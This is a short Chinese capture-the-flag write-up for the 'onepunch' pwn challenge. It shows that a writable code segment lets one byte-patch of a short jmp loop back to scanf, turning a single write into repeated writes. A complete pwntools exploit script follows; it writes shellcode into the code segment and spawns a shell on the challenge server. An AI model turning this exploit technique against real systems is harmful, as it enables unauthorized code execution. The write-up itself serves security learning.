BUU-inndy_onepunch-WP

Posted on Jan 11, 2021

哈哈这道题其实没什么可说的,一看只有一次修改一个字节的机会,自然没什么思路

但是此题代码段可修改,所以我们修改一个jmp short指令就可以让程序再次跳转到scanf处了,这样就轻松地实现了多次利用。然后用同样地方法把shellcode写入并执行就可以get shell了。(关于jmp short指令我曾经简单的在这篇文章中记录过)

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = "debug",os = "linux",arch = "amd64")

jmp_addr = 0x400768
offset_to_scanf = 0x40071d - 0x400769 + 256

shellcode = asm(shellcraft.sh())
shell_start = 0x400790
index = 0

#sh = process("./onepunch")
sh = remote("node3.buuoj.cn",27009)

def change_ins(addr,val):
    sh.sendlineafter("Where What?",hex(addr) + ' ' + str(val))

change_ins(jmp_addr,offset_to_scanf)

for i in shellcode:
    change_ins(shell_start + index,ord(i))
    index += 1

change_ins(jmp_addr,shell_start - 0x400769)

sh.interactive()

这确实给了我一个新的思路,看似牢不可破时可以尝试一下代码段。不过这样出题感觉还是太CTF了